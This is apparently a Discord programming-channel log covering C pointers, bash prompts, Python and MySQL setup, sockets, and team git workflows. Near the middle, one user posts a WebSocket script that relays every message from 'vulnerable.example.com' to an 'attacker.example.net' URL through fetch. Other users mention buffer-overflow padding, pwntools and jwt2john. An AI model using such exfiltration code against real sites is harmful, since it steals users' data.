#programming

1 messages · Page 24 of 1

ruby cipher
#

can anyone tell where i'm going wrong

lilac holly
#

hello

#

anyone here

languid monolith
#

Just ask ur question

#

Not that hard

lilac holly
#

wait

#
#include <stdio.h>
#include <stdlib.h>

int Valueof5=5, Valueof10=10;

void func1(int *pointerof100){
  pointerof100=&Valueof5;
}

void func2(int **pointerof100){
  *pointerof100=&Valueof10;
}

void main(){
  int Valueof100=100;
  int *pof100=&Valueof100;

  printf("%d\n", *pof100);
  func(pof100);
  printf("%d\n", *pof100);
  func(&pof100);
  printf("%d\n", *pof100);
}
#

what should this code output

languid monolith
#

Run it

lilac holly
#

i know what it does

#

it outputs 100, 100, 10

languid monolith
#

Then why ask ??

lilac holly
#

isn't that wrong

#

@languid monolith 😒

languid monolith
#

Mate. Code does what u made it do

lilac holly
#

bro dont fuck with me

languid monolith
#

Saying there is a bug won't fix it. We don't know what u are trying to do

lilac holly
#

if u know it then say

languid monolith
#

Explain ur probleõ

#

Probleõ

#

Problems

lilac holly
#

so i pass in the pointer to func1 function

#

it will change the address stored in it to global var a

languid monolith
#

What are you trying to do ?

lilac holly
#

its just a piece of code that i dont understand why it outputs what it does

#

i am just printing the value stored in address in pointer p

#

fun1 and fun2 change the address in p

#

i think it should print 100, 5, 10

languid monolith
#

U did t give it a pointer

#

On the first call

#

I think

lilac holly
#

no p is a pointer

#

func2 takes pointer to a pointer var

#

thats why i passed in &p

languid monolith
#

Make it more readable. Change variable names

lilac holly
#

are u kiddin

#

it's just 20 lines of code

languid monolith
#

Ok. Then don't ask for help. It's just 20 lines of code

lilac holly
#

may be u should check ur brain

#

are u crazy

lilac holly
#

😂

#

its intution bro

#

my intution is not accepting the output

languid monolith
#

Name variables properly

lilac holly
#

i was just looking for a nice explanation for the behaviour

languid monolith
#

Change variable names and you will understand yourself

lilac holly
#

ok

languid monolith
#

Int ValueOf10

lilac holly
#

to what should i change them

languid monolith
#

Like that

lilac holly
#

ok

languid monolith
#

PointerOf10

#

Etc etc

lilac holly
#

i did

#
#include <stdio.h>
#include <stdlib.h>

int Valueof5=5, Valueof10=10;

void func1(int *pointerof100){
  pointerof100=&Valueof5;
}

void func2(int **pointerof100){
  *pointerof100=&Valueof10;
}

void main(){
  int Valueof100=100;
  int *pof100=&Valueof100;

  printf("%d\n", *pof100);
  func(pof100);
  printf("%d\n", *pof100);
  func(&pof100);
  printf("%d\n", *pof100);
}
languid monolith
#

Send code

#

Try

#

Ty

#

Remove first func and see if the output is the same

#

First func call *

lilac holly
#

ok

#

yes its same

#

@languid monolith

languid monolith
#

See. There's ur answer. It's about the & symbol. Look it up

languid monolith
#

Too

lilac holly
#

no bro

#

i am doing it ring

#

right

languid monolith
#

You need to pass in a pointer.

lilac holly
#

i dont understand

languid monolith
lilac holly
#

pof100 is a pointer!

#

wait

#

let me check

languid monolith
#

Yes. But you need to pass in a ref to it

lilac holly
#

well thanks for your time

#

@languid monolith

languid monolith
#

Ok

#

No

#

Np

lilac holly
#

nice to meet u

languid monolith
#

U 2

stark lance
#

so anyone want too help me with customizing my terminal? i suck at bash

kind sluice
stark lance
kind sluice
#

You can get as complicated/simple as you want - to include diving into functions in your .bashrc as needed

stark lance
#

wow thank you! @kind sluice

#

is there a way too divide things i pull from a command? like say something is above another listing an i want too add a line -------- before seeing the new text underneath?

#

or even adding each thing in a box so it's more neat

#

here is what i have currently, I want too add something that'll clean it up a little better.

#

i want too add a line in between XvM an OSINT with ------- but i get a bash not found error

#

ok i found something on the webs

stark lance
#

this is actually rather fun vent (ps i'm not a programmer, i know very little about coding. just the basic syntax for python,c,c++ but now i'm intrigued too learn more)

frosty ice
#

isn't xeon for servers?

#

I've actually learnt the Python very well, but this OOP thing confuses me a lot.

vernal vigil
#

CodewithMosh and i think Sentdex explains OOPS in python very well, check em out @frosty ice

stark lance
onyx merlin
#

And workstations

stark lance
#

also correct

frosty ice
stark lance
#

i've added the weather also, Good too know the temp in my area

frosty ice
#

You should add parameters too. Like,

<command> --weather
<command> --architecture
<command> --processor

#

My recommendation, but not really required

stark lance
#

i'll try that, I'm learning too grep pretty good while doing this kekw

stark lance
#

so i've figured out that parrot has mpv which is a terminal based video player, So inside my .bashrc script i put a rickroll kekw

#

opens terminal RickRolled (I'm going too learn how too build my own linux os, i'm going too make a troll os which everything just is a rickroll)

brazen eagle
#

I think I'm losing it, send help

# AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
pad = b"\x41" * offset
brazen eagle
#

yes

magic falcon
#

write to a raw buffer

brazen eagle
#

I know

magic falcon
#

otherwise the output gets mangled hard

brazen eagle
#

I was referring to the comment

magic falcon
#

lol

brazen eagle
#

sys.stdout.buffer.write(payload)

#

doesn't help when there's a 0x0A in there though

magic falcon
#

I figured that the standard offset testing string

brazen eagle
#

it is

#

or screaming

magic falcon
#

it can be both

brazen eagle
#

BoFs are vikings confirmed.

#

yell until it falls

brazen eagle
#

AAAAAAAAAAAAAAAAAAAAAAA *smash*

brazen eagle
#

BOF

rotund onyx
#

Best coding language for hacking

#

??

lilac holly
lilac holly
#

those three

rotund onyx
#

Thank you

lilac holly
#

no problem!

surreal bronze
#

Remember tho, hacking =! programming

frank flume
#

where do ı live

vernal vigil
#

Probably on your home or office or uni dorm

shy socket
#

is there a way in pwntools to do a search for a "gadget" like "call sym.imp.myfunc" ? I know how to get the address of sym.imp.myfunc from the symbols list but I would like to be able to find the call for this symbol

brazen eagle
#

probably?

shy socket
#

yeah probably, but their API doc makes one wish for more.

brazen eagle
#

It's pretty spartan, yeah

manic shore
#

how do i convert my python file into an apk without kivy or any framework?

onyx merlin
#

You don't

brazen eagle
#

Err apks are basically jar files no?

onyx merlin
#

Spicy compiled java yes

brazen eagle
#

Yeah

onyx merlin
#

Well, usually

#

They're the standard android app format. You can have other languages.

brazen eagle
#

I mean you can probably use jython...

#

It would be a monumentally bad idea though

surreal bronze
#

mostly java yes

brazen eagle
#

JVM I suppose

solar hull
#

well not really, it was dalvik and nowadays something different.

#

Android Runtime (ART)

solar dust
#

Does anyone know how to install C# on Arch?

onyx merlin
#

This seems pretty promising.

brazen eagle
#

So you should technically be able to throw scala at android...

lilac holly
#

does anyone really find Pseudocode useful when making a program or script?

fading lark
onyx merlin
#

Assembly is a programming language

fading lark
#

I know

onyx merlin
#

not sure if assembly is even called programming

hearty estuary
fading lark
#

ohh okay, thanks

surreal bronze
#

👀

true pumice
#

+rep Engineer Man

formal kettle
mortal flint
onyx merlin
#

Except no one uses dart but lots of people use golang

mortal flint
#

yes but we don't like those people kekw

onyx merlin
#

Ouch

mortal flint
#

it was sarcasm 🙂

onyx merlin
#

It's actually annoying often to make vulnerable code in golang.

#

Simple command injection is actually reasonably difficult to pull off

mortal flint
#

well, I'll take your word for it, I haven't worked with it enough to know

#

I WILL say I disagree with several of his rankings in that video though

#

but a lot of that is subjective

onyx merlin
#

Essentially it's like exec IIRC, where you need to pass a series of arguments rather than just a string

brazen eagle
dusty ore
#
int prime_number(int j){
int k=(int)sqrt(j) - (int(sqrt(j))-1)%2;
while (j%(k--)) {k--;}
return ((k==0)&&(j>1));
}
#

I'm new to programming but can i ask if this is the most optimal way of finding prime number?

solar hull
#

It is not.

#

As a longer answer: Finding primes is computationally expensive. There are better methods than just looping through all integers.

#

For 32 bit integers, the performance of that algorithm won't be that bad, but you'd still be looping through 2^15 numbers in the case your prime is in the magnitude of 2^15.

dusty ore
#

I see

solar hull
#

Oh - I meant if the prime is in the magnitude of 2^31

fickle urchin
#

Can somebody explain to me the difference between: subprocess.check_output([‘ls’],) and subprocess.check_output, ([‘ls’],)

#

Its python code. The last one has a , separating the arguments and the command. They behave differently ( I can explain if necessary), I simply don’t get the second syntax I think

onyx merlin
#

That was days ago.

#

Assembly is a programming language.

fair zephyr
#

yea

solar hull
fickle urchin
wispy kestrelBOT
#

Gave +1 Rep to @solar hull

boreal patrol
#

if anyone knows how to use tkinter in python please dm me. Thanks

true pumice
#

I do, but I would prefer to discuss here

boreal patrol
#

Sure, im currently working on a script which pings 3 servers and display the status result on the GUI, however if its alive the status should be in green and if not, it should be in red < in GUI too. This is where im finding difficulty to make it work

solar hull
#

Is your problem with the colours or showing the result in GUI?

boreal patrol
#

colors

fleet vortex
#

In Java, when is the btye data type used? I mean why do you need to store things in a byte[] array when there is the possibility of doing so with a String? Is it for memory-saving purposes?

onyx merlin
#

Bytes are usually used for raw binary data

#

Things like files or images that are not text

#

I don't know why you'd use strings to represent things that are not text unless you're incredibly masochistic

mild owl
#

im building a chrome app and wondering how i can use bootstrap and jquery etc

solar hull
onyx merlin
#

You can also do things like XORs and ANDs and fancy things like that

solar hull
#

You can also mutate byte arrays (or char arrays), Strings are immutable.

onyx merlin
#

That's more specific to java, but also useful

solar hull
#

now I have to look up a term, but there's also security issues related to String storage in Java.

fleet vortex
#

Thank you all guys!

solar hull
#

blah, can't find the exact term I was thinking of, but in any case, if you'd be storing something like passwords in the String, it might be left hanging around in the memory at least until gc sweep. You can clean up the char array to avoid that

lilac holly
#

string interning I believe

solar hull
#

Looks familiar, yep. And it was worse with earlier Java versions, interned Strings ended up in permgen

lilac holly
#

it gets funny when working with genomics - you inspect your heap and it's full of permutations of A T C G 🙂

magic falcon
#

that way repeated requests for the same string contents give references to the same canon string representation instead of allocating new string literals in memory

mild owl
#

i finally finished my chrome app

dusty fable
#

Any Best resources for learning python bloom

coral gull
#

Theres lots of free resources on youtube, but codecademy offers a good python course as well :)

languid monolith
#

I have a Module that uses newer ES Syntax:

export const EPSILON_FLOAT32 = 1e-7;
^^^^^^

SyntaxError: Unexpected token 'export'

Is there any way for me to still use the module?

true pumice
#

What language is this?

warped axle
#

Quick question how do upload a file to a website with curl?

#

Nvm might have figured it out

tepid cargo
tepid cargo
languid monolith
#

I am trying to use tenserflow machine learning API

#

TFJS-Node

tepid cargo
#

then bundle ur project using webpack ezpz

#

with mode being 'node'

languid monolith
#

but I need node

#

I am making a electron app

#

with node

tepid cargo
#

yeah. that' what i am saying as well

#

u bundle the files using any packer. then open that file using node.

languid monolith
#

aight will try thanks

tepid cargo
#

like maybe there are 100s of files. when u use a packer it will pack it into 1 file (with multiple chunks) then u can just open the entrypoint with node.

languid monolith
#

ohh aight

languid monolith
tepid cargo
#

maybe remove the node_modules folder, then npm clear cache.. then do npm i?

bitter field
#

yea removing the module folder and reinstalling fixes 90% of problems for me

languid monolith
#

same error

languid monolith
#

binding errors won't fix by reinstalling the modules

#

binding errors are internal

#

I made a issue report on their github, since they are the makers maybe they can help me

tepid cargo
#

cause while installing they compile some code as well

#

as extension to the js package.

languid monolith
#

yea

thin shoal
#

anyone on?

true pumice
#

Yuh

thin shoal
#

hi there

#

im working with js websockets and getting some errors

#
Uncaught DOMException: Failed to execute 'send' on 'WebSocket': Still in CONNECTING state.
#

and my code is

<script>
  ws = new WebSocket('wss://vulnerable.example.com/messages');
  ws.onopen = function start(event) {
    websocket.send("HELLO");
  }
  ws.onmessage = function handleReply(event) {
    fetch('https://attacker.example.net/?'+event.data, {mode: 'no-cors'});
  }
  ws.send("Some text sent to the server");
</script>
#

what am i doing wrong?

#

@true pumice

true pumice
#

You’re not waiting for the connection to establish

#

Well I say you, the script isn’t

#

Which line is it crashing on?

broken shuttle
#

How long did it take before you felt comfortable programming in your first l coding anguage?

true pumice
#

It took a while to get comfortable with the constructs. I really quickly picked up programming and could make loads of projects, but I wasn’t very consistent.

After a few years of on and off programming, I finally got to the point where I could basically do anything with a little googling.

broken shuttle
#

@true pumice Thanks for your reply! I don't need to expert level just sufficient to get by. Would 1-3 months suffice?

wispy kestrelBOT
#

Gave +1 Rep to @true pumice

true pumice
#

As long as you’re actively learning in those months.

After around 1 month you should have the ability to break code down and program very well - which is super great because you should be able to transfer to any language and understand most code.

I was fortunate enough to be in a computer science course while I was studying, but I have taught many people from knowing nothing, and even after a week they start to show their knowledge in the basics of a language.

All depends on your dedication :)

broken shuttle
#

@true pumice That's super helpful! I will aim 2-4 hrs of programming a week into my Study focus. Using THM, Linkedin Learning and Google to aid me.

true pumice
#

Sounds great! You’ll be great at it in no time :)

feral moss
#

ptrace question:
When a process calls ptrace on another process (the child process), does this call makes the child stop and continue with the next ptrace call like ptrace(PTRACE_SYSCALL)?

normal bone
#

Can anyone just tell me where is the reverse shell dedicated channel?

#

I'll be thankful to you

onyx merlin
#

There isn't one?

restive fossil
#

okie dokie, so im trying to connect mysql db to python, so ive install mysql connector using this cmd pip install mysql-connector-python, so i put import mysql.connector in a py file, i tried running it using python sql.py, error saying that i didnt have that module, but when i tried python3'ing it, it worked, which means that i installed the library in the python3 place and not the python2 place,when i try running python -m pip install mysql-connector-python, it said pip not found, tried sudo apt-get install python-pip, said that python3-pip replaced it, what do i do?

onyx merlin
#

Don't write python2

restive fossil
#

when do i not write python2

onyx merlin
#

All the time

#

Python2 is deprecated

#

So you should not need to install modules for python2

restive fossil
#

thing is, w3schools, which is what im learning, teaches python2, not python3

onyx merlin
#

Remember that python on some systems can point to python2 while on newer systems it will be python3.

onyx merlin
#

There is no point learning python2.

#

It is deprecated for a reason.

restive fossil
onyx merlin
surreal bronze
restive fossil
#

so what are the main differences between python2 and 33

onyx merlin
#

You should not be writing any python2 code

surreal bronze
#

Wdym w3schools doesn't teach in python3?

restive fossil
surreal bronze
#

Yes.

restive fossil
#

i literally had no idea

#

ok

#

that makes life a lot easier

onyx merlin
#

On Windows, python3 is installed as "python"

restive fossil
surreal bronze
#

You can tell from the print syntax :)

restive fossil
#

that makes sense

#

i use linux

restive fossil
wispy kestrelBOT
#

Gave +1 Rep to @surreal bronze

restive fossil
restive fossil
#

okie dokie

#

theres the py file

#

theres the result

onyx merlin
#

Not a python issue, that's a mysql issue

restive fossil
#

here i'll show u

onyx merlin
#

Ok. That supports what I said.

#

I bet you can find out how to solve it with some research

restive fossil
#

ok

restive fossil
#

do u have a solution?

magic falcon
restive fossil
magic falcon
#

You are overlooking some very basic DB admin stuff, re-reading the MySQL quickstart is where you should start.

restive fossil
magic falcon
restive fossil
#

thing is i haven't done anything different to what they're doing

#

i changed the code to see if it would work but still no luck

onyx merlin
#

As we said before, it's not an issue with Python.

#

It's not an issue with your code.

restive fossil
#

for the user and pwd

onyx merlin
#

We told you it wasn't an issue with your code.

restive fossil
#

ok

onyx merlin
#

Please remember that everyone here is a volunteer, and we're trying to help you as best as we can. Please listen and take into account what we say. It's ok to ask questions, but please listen

restive fossil
#

alright

#

ahhhhhh

#

i found the mistake

#

yayyyyy

#

it workeddd

#

alright thank u both for ur help

rich wave
#

hey guys, I am runnning jwt2john.py and I keep getting in the error

#

wondering how I can solve this.

mortal flint
#

at a guess, the utils.py is expecting a string but is being passed a bytes object

#

I'd print out what's being passed in at line 15/16 there. And also read through the code that it calls, see if you can figure out what it's expecting

#

but it's looking like either bad input, or maybe the libraries changed between versions

rich wave
#

yeah likely the latter

#

so this is the source code

#

ah so im parsing a byte object

mortal flint
#

Yeah, that s: str is saying it expects a string

rich wave
#

when it is trying to see string

mortal flint
#

but the error you got before is because it's passing in a bytes object

#

side note: this is why python is a pain, dynamic typing

rich wave
#

yeah lol

#

would (s: str) take an byte object regardless?

mortal flint
#

python lets any variable be any object

rich wave
#

yeah

#

okay

#

i was thinking with s:str, it would limit to str

mortal flint
#

that s: str is only a type hint, and python ignores it. Only type linters care about that

rich wave
#

okay

#

i see

mortal flint
#

mypi?

rich wave
#

So i guess I need to convert my bytes into a string first?

#

got it

mortal flint
#

is jwt2john your code, or something you found?

rich wave
#

i found

#

its developed way before the pyjwt changed theri source code ig

#

but yeah lesson learned!

mortal flint
#

print parts[2] before you pass it in

rich wave
#

yep

#

converted it into a str

mortal flint
#

I'm only guessing here, but I think maybe jwt2john is forcing it to bytes for some encoding reason- probably to make sure special chars don't cause issues, but I don't think that would happen with a jwt token

#

but yeah, casting it back to a str before passing it to the decode should be fine

rich wave
#

yeah

#

thanks !

mortal flint
#

you're welcome!

#

fixed it?

rich wave
#

yep!

mortal flint
#

cool 🙂

long tartan
#

Just wanted to share that. As an exercise, i had to implement AEs-ECB on python, and it's done !
https://github.com/Maeglin1908/cryptopals-AES_ECB
It was a really nice exercise ! Plenty of searches, and tries and fails haha
It acceptsfor datas, strings (raw, hex, base64) as input, or inside a file. The key is only ascii string, tho.
Feel free to any advices if you want :)

GitHub

Contribute to Maeglin1908/cryptopals-AES_ECB development by creating an account on GitHub.

haughty oracle
#

hello ! i have a socket connection between 2 program, and i want my program to recv any information but i have to enter that recv(1024) i have to say it the lenght of the socket how can i automate that ?

#

i have to do like python len(bytes("test"))

#

?

solar hull
lilac holly
surreal bronze
#

terminal on the right

#

vscode on the left

#

@lilac holly

lilac holly
#

ah

haughty oracle
#

@solar hull i don't understand x)

#

^^*

solar hull
haughty oracle
#

ooook

#

so what i do whit my recv(1024)

solar hull
#

What are you trying to do with it?

tiny raptor
#

I studied the book now I have a good foundation what should to do right now

surreal bronze
#

do projects :)

tiny raptor
surreal bronze
#

any you fancy

#

checkout pins for a big list of them

tiny raptor
#

I wanna to study black hat python but now I don't have new version

#

Now stuck like 3month waiting for new one but Now found the new pdf free***

runic verge
magic falcon
haughty oracle
#

@solar hull i am trying do to a server / client
and i want the server and client to communicate
but i don't understand the number of recv and i don't want that to block me
i think that is like a limitation of data and i don't know how to use it

#

(ping me plz wen you answer me because i don't see your answer ^^* ty)

solar hull
glad trail
#

a few friends and I decided to work on a 2d Python game together, gotta build up that "work" experience and we figured showing collaboration never hurt anybody.
question, what's the best way to collaborate on this? like sharing files and such. github?

solar hull
#

github and gitlab are both good for that.

glad trail
#

would i just create a private repo and share it with them? sorry, for school we've only done pair programming with screen share, so larger stuff like this where we won't necessarily be working on the same things at the same time is new.

solar hull
#

That should work.

glad trail
#

sweet. would it be worth outlining our development in there? like who is assigned to do what, etc, so future employers can see it? or is that just overboard

solar hull
#

I'd suggest trying to do some project management on the side. Plan releases, manage tasks and issues etc

glad trail
wispy kestrelBOT
#

Gave +1 Rep to @solar hull

haughty oracle
#

@solar hull ok so what did i do ?

solar hull
mortal flint
solar hull
mortal flint
#

True, but issues aren't really a project management thing

#

Unless they've added new features since the last time I used it

solar hull
#

No idea what's there, haven't really used it a lot 🙂

mortal flint
#

same. Not recently, at least

#

If we're talking "true" project management/planning, that starts getting more into backlogs, epics, etc., and I don't think github offers that. Gitlab does, but their free version doesn't have epics or some other "enterprise" features, but probably perfectly fine for a toy project like this. But I'm guessing they can also get a student license for jira or trello. Many universities have that.

glad trail
#

I'll look into Jira, most companies have student licenses i can leverage

magic falcon
mortal flint
#

yeah, I would definitely recommend git over subversion. I haven't seen a company actively using that (or a non-git derivative) in close to a decade.

magic falcon
mortal flint
#

agreed

#

If you're new to these tools, trello is probably the lowest barrier to entry for you. There are also free/open source alternatives

magic falcon
#

Git has more overhead to learn - it's really easy to get super lost. When I was a TA, 3/4 of my office hours were 'how to do unbork my merge'

mortal flint
#

you do have a point there

magic falcon
#

subversion is more for file system sync than deltas; i think it's more beginner friendly

solar hull
#

My guidelines for git: Rebase often. Never pull when git command line suggests you to.

magic falcon
#

Forking workflow is my jam.

mortal flint
#

I've taught people to use git as their first/only version control system though, it's not too bad

#

my personal favorite GUI is gitkraken. Worth the $50 for pro

magic falcon
#

Will second the gitkraken reccomendation.

mortal flint
#

free is still very useful too

magic falcon
#

I also pay for gitkraken, because it lets me be super lazy with remembering all the git CLI options

glad trail
#

yeah, trello might be the one judging from their sales pitch. we're still going to put it up on github (obviously so people can see the work), but we want to be able to put "collaborated over X using Y with a team of 8+" on the resume, or something like it. to catch a hiring managers eye

mortal flint
#

@glad trail Are you doing a degree in computer science? What year?

magic falcon
#

The git SCM tools aren't bad, but I don't think they are as intuitive as gitkraken

solar hull
#

Oh, another thing for git: Learn to bisect. It's worth its weight in gold.

glad trail
magic falcon
#

--blame arhu 😄

mortal flint
#

I'm not sure I've ever done a git bisect

magic falcon
#

it's basically binary search for commits

solar hull
mortal flint
#

brockfu- I'd say start with trello then. Easier to just create and move issues than jira is. Jira will look better on a resume, but you can do something with that in the next 2 years. For now, you're more focused on writing the code and collaborating/figuring out that workflow

solar hull
#

As someone using Jira in their daily work, I hate Jira.

mortal flint
#

I don't think you'll find anyone who actually LOVES their project management tool, whatever it happens to be

solar hull
#

Well, part of that might have to do with our Jira being hosted on another continent. It's laggy as hell.

magic falcon
#

I really think that finding the 'right' tool is just finding the one that is the least irritating for your use-case

glad trail
#

yeah, we're discussing trello now. in between arguing over who has to be THE project manager lol no one wants to be "that guy"

mortal flint
#

do it round table style then

magic falcon
#

find a business student to be your PM

mortal flint
#

how many ppl in your group?

magic falcon
#

tell them to go learn sigma 6

#

the hard part about being the PM is managing the deliverables without doing the work

#

also realize that every type of practice is garbage, and your team needs to be flexible to get the job done

surreal bronze
#

What's uppppp

#

What's the topic we're talking about?

mortal flint
#

brockfu- college student doing their first collaborative project

#

tools and practices

magic falcon
#

ultimately, every project is estimated completely using a waterfall schedule to begin with. Then it's usually turned over to a PM and an 'agile' team which proceed to fail as hard as they can until they get something that isn't a flaming dumpster or everyone gives up

glad trail
#

right now there's 5 of us. getting a business student to do it would actually be funny. we're going to do this multiple times, so we're making a game with python because it really shows off our understanding of the language (in our opinion), then more projects with C, C++, JS. so we'll end up switching roles around as we go.

mortal flint
#

with an odd number, that works

magic falcon
#

Another thing I'll recommend for your workflow: no one is allowed to merge their own commits to master

mortal flint
#

meet once a week, everyone votes on the top 1 to 3 most important tasks. Just do those. No need for a ton of overhead

magic falcon
#

I cannot stress that enough.

mortal flint
haughty oracle
#

@solar hull yes but, if my client send to the server like a phrase but another time he send a big data like a book, what did i do ? recv(1024) will have a problem or be a problem ?

glad trail
magic falcon
#

I'm really draconian about that when I'm a reviewer for other people's PRs

#

If there is no documentation, it gets rejected until the documentation is in place

haughty oracle
#

can i put like recv() or recv(9999999999999999999999) ? ^^*

magic falcon
solar hull
haughty oracle
#

why some kind ?

glad trail
mortal flint
#

brockfu- if you really want to do it "professionally", get a friend, maybe even one who isn't a computer science person, to be your "customer". Demo to them every 2 weeks, and let THEM tell you what features you need to add

solar hull
# haughty oracle why some kind ?

Because you need to have some kind of a protocol defined on what actually is transferred over the socket. The protocol might be simple framing like "number of bytes in the following message" followed by the bytes, or something more complex.

mortal flint
#

the other nice thing about this project you are doing is that you can use it as a portfolio when you go to interview

haughty oracle
#

ok

magic falcon
haughty oracle
#

so i demand the byte on a message i set the byte on the recv() and i collect the message ?

solar hull
magic falcon
#

It's going to be intensely painful, but you will learn a lot.

solar hull
magic falcon
mortal flint
#

I've never used sphinx. Is this similar to javadoc, or not code-level doc ?

glad trail
haughty oracle
#

i recieve a firts message whit the byte lenght whit like recv(1024) (i think its good)
i prepare my second recv whit the byte lenght that i have recieved like recv(byte_lenght)
?

magic falcon
mortal flint
solar hull
haughty oracle
#

ook

magic falcon
haughty oracle
#

ty

mortal flint
#

Personally, I don't have a public github acct, and try to keep a very low profile in terms of social media, but many companies these days ask for github links.

magic falcon
#

My company actively encourages us to have a public github; I mainly put things on there to have the bare minimum I can point to as my personal 'brand'

mortal flint
#

yeah, lots of companies want to see an example of your work. Thankfully I have enough experience that I can bypass needing to have a public git presence

magic falcon
#

It also helps since I do a lot of work with opensource. Being able to upstream is a huge benefit to me and to the customers I engage with.

mortal flint
#

I can definitely see that

glad trail
#

thanks for the input!

#

+rep @mortal flint

wispy kestrelBOT
#

Gave +1 Rep to @mortal flint

mortal flint
#

You're welcome :). Good luck and have fun with it!

#

SOmething else we have not discussed at all yet is testing

#

Do automated unit tests

magic falcon
#

One dumpster fire at a time Empty:)

onyx merlin
#

Ew testing

mortal flint
#

better yet, have that be a part of your build pipeline 🙂

onyx merlin
#

Just write the code correct the first time smh

mortal flint
#

Okay, I need to nitro boost just to get a dumpster fire emoji

mortal flint
onyx merlin
#

I test as I go, but then I don't write code that people rely on

magic falcon
#

Automated testing only makes sense once you have infra in place though. Until you can kick over the anthill with a git webhook, pretty much stuck with unit and integration tests

mortal flint
#

well, automation is fairly easy, if the tests are there

#

if you've got pytest or nunit tests written, hooking that into some kind of automation isn't too hard

magic falcon
#

If one doesn't have at least a pipeline somewhat in place, what's the use case for automated testing? I only see it used when there something like jenkins

mortal flint
#

those tests can still be run manually before/after merging

#

getting into the habit of writing small, reusable, easily testable pieces of code NOW will help your entire career

magic falcon
#

but then are they really automated?

mortal flint
#

no. But they are tests.

solar hull
#

Setting up gitlab workers for a gitlab pipeline is not a major hurdle. Of course you need to host them somewhere.

magic falcon
#

i agree, testing shoudl be used everywhere, but running pytest before a merge isn't automation

mortal flint
#

and tests almost always have value

surreal bronze
#

testing = good

magic falcon
#

Agree with that. TDD or BDD should be included from start of a project, ideally.

mortal flint
#

So at least they should be writing tests, I think we all agree

surreal bronze
#

I always run tests on every main function with pytests / nox

magic falcon
#

Writing tests after the code is done is always the least effective way to test

surreal bronze
#

saved me so much time

mortal flint
#

whether or not they want to automate that with builds is another topic

magic falcon
#

Yes

#

running code coverage is a really good inclusion to the test process as well

surreal bronze
#

cc is amazing

#

I would say its a requirement to have good testing if your working with other people

magic falcon
#

It even helps with security - many frameworks require 100% code coverage as part of SDLC

mortal flint
#

I don't think I've ever seen 100%

surreal bronze
#

100% is pretty insane

#

I normally go for ~90%

magic falcon
#

PCI requires it for anything that touches a PCI environment

onyx merlin
#

Bee had 100% on a tool, but for a bug in the code coverage tool

surreal bronze
#

also when working with other people you want small PR's

magic falcon
#

there are usually arguments that can be made for compensating controls on that gap - 100% can happen, but it requires a lot of evidence based argumentation

solar hull
surreal bronze
#

its easier to review, manage and just help being more organised

surreal bronze
#

In software development, agile (sometimes written Agile) practices involve discovering requirements and developing solutions through the collaborative effort of self-organizing and cross-functional teams and their customer(s)/end user(s). It advocates adaptive planning, evolutionary development, early delivery, and continual improvement, and it ...

#

Having small PR's makes it:

  • Easier to manage as a team
  • If you loose something you can easily get it back
  • Easier to check for bugs
  • Not as much to review
  • Lowers the chances of two people working on the same thing
mortal flint
#

100% agree

#

it shoudl not take hours and hours to read a PR

#

Small PRs get good feedback. Big PRs get a rubber stamp approval, which is stupid.

#

I once saw a PR that was months of work. Thousands of lines of code across dozens and dozens of files. The only comment was a thumbs up and an approval.

#

🤦‍♂️

surreal bronze
#

Lol I bet the reviewer had a great time with that! probably didnt even review it at all

solar hull
mortal flint
#

Definitely a case for:

stone kayak
stone kayak
#

;)

surreal bronze
#

Shhhh

#

get it from the best 😉

#

@stone kayak

tiny raptor
magic falcon
tiny raptor
magic falcon
magic falcon
# tiny raptor GUi

Web and GUI are not the same thing. Not all web projects have a human-interface on the front end, and many GUI projects are desktop or server applications that don't provide a web page.

feral moss
#

Linux kernel programming question :

How can I retrieve the current working directory and the current user logged in inside the kernel (not in user space)?

restive fossil
#

made a python calculator

#

did it as a project

#

heres the code

#

`import os
import sys
import time
import termcolor
from cprint import *
print("Remember, a for addition, s for subtraction, m for multiplication, and d for division!")
a = input("Mode: ")
c = input("Number one: ")
r = input("Number two: ")
def addition():

print("This is an addition calculator")
add = int(c) + int(r)
print("Wait while we process your request!")
time.sleep(1)
print(add)

def subtraction():

print("This is an substraction calculator")
sub = int(c) - int(r)
print("Wait while we process your request!")
time.sleep(1)
cprint.ok(sub)

def multiplication():

print("This is an multiplication calculator")
mult = int(c) * int(r)
print("Wait while we process your request!")
time.sleep(1)
cprint.ok(mult)

def division():
print("This is an Division calculator")
div = int(c) / int(r)
print("Wait while we process your request!")
time.sleep(1)
cprint.ok(div)

try:
if a == "a":
addition()
if a == "s":
subtraction()
if a == "m":
multiplication()
if a == "d":
division()
except:
cprint.err("There was an error!")`

true pumice
#

This project was really awesome!

I do have a few suggestions to improve your code –– don’t take them to heart:)

Use proper variable names, variable names are hints to people viewing the code and help you write readable code.

Usually you would choose words that would describe their role in the program, e.g. userInput, or numOne.

Another thing that I would possibly change, convert them to integers when you get the input. Cleans your code up a little instead of using int(var) everywhere.

numberOne = int(input(“Enter a number: “))

:)

restive fossil
#

ahhhh

#

interesting

#

makes things a whole lot easier, i agree

onyx merlin
#

numberOne = int(input(“Enter a number: “)) note about this, makes it a little harder to handle errors by errors weren't handled fully anyway

#

I'd also recommend against a whole try/except block like that because if you have a genuine error that's not a result of user input, it can be hard to troubleshoot

restive fossil
#

made a huge improvement

#

i put some text art in there

#

and fixed some of the classes and stuff

#

btw that text art spells out cooctolator lmao

onyx merlin
#

Code blocks plz

restive fossil
#
test
#

ooooo

#

ok

#
import os
import sys
import time
import termcolor
from cprint import *
from textwrap import *
print("""
░█████╗░░█████╗░░█████╗░░█████╗░████████╗░█████╗░██╗░░░░░░█████╗░████████╗░█████╗░██████╗░
██╔══██╗██╔══██╗██╔══██╗██╔══██╗╚══██╔══╝██╔══██╗██║░░░░░██╔══██╗╚══██╔══╝██╔══██╗██╔══██╗
██║░░╚═╝██║░░██║██║░░██║██║░░╚═╝░░░██║░░░██║░░██║██║░░░░░███████║░░░██║░░░██║░░██║██████╔╝
██║░░██╗██║░░██║██║░░██║██║░░██╗░░░██║░░░██║░░██║██║░░░░░██╔══██║░░░██║░░░██║░░██║██╔══██╗
╚█████╔╝╚█████╔╝╚█████╔╝╚█████╔╝░░░██║░░░╚█████╔╝███████╗██║░░██║░░░██║░░░╚█████╔╝██║░░██║
░╚════╝░░╚════╝░░╚════╝░░╚════╝░░░░╚═╝░░░░╚════╝░╚══════╝╚═╝░░╚═╝░░░╚═╝░░░░╚════╝░╚═╝░░╚═╝""")
cprint.info("Remember, a for addition, s for subtraction, m for multiplication, and d for division!")
a = input("Mode: ")
c = int(input("Number one: "))
r = int(input("Number two: "))
def addition():

    cprint.fatal("This is an addition calculator")
    add = c + r
    cprint.warn("Wait while we process your request!")
    time.sleep(1)
    print(add)
